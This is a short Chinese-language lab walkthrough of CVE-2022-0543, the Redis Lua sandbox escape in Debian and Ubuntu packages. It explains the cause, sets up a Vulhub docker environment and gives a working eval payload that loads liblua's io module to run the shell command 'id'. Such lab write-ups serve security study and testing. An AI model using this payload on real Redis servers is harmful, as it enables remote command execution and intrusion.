CVE-2022-0543漏洞
0x01 原理
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package
,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
0x02 环境
启动环境
cd vulhub/redis/CVE-2022-0543
docker-compose up -d
0x03 漏洞利用
环境启动后,我们到另一台kail机连接redis
使用命令连接
redis-cli -h 192.168.233.134
连接成功之后使用使用eval
命令执行脚本
不同环境下的liblua库路径不同,我们需要指定一个正确的路径。而在Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
命令执行